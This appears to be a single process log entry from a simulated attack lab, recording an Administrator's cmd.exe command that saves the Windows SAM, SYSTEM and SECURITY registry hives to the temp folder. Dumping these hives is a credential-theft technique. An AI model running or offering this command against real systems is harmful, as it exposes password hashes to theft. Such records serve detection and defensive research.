ar-win-2.attackrange.local Administrator C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe cmd.exe C:\Windows\System32\cmd.exe /c "reg save HKLM\sam %temp%\sam &amp; reg save HKLM\system %temp%\system &amp; reg save HKLM\security %temp%\security"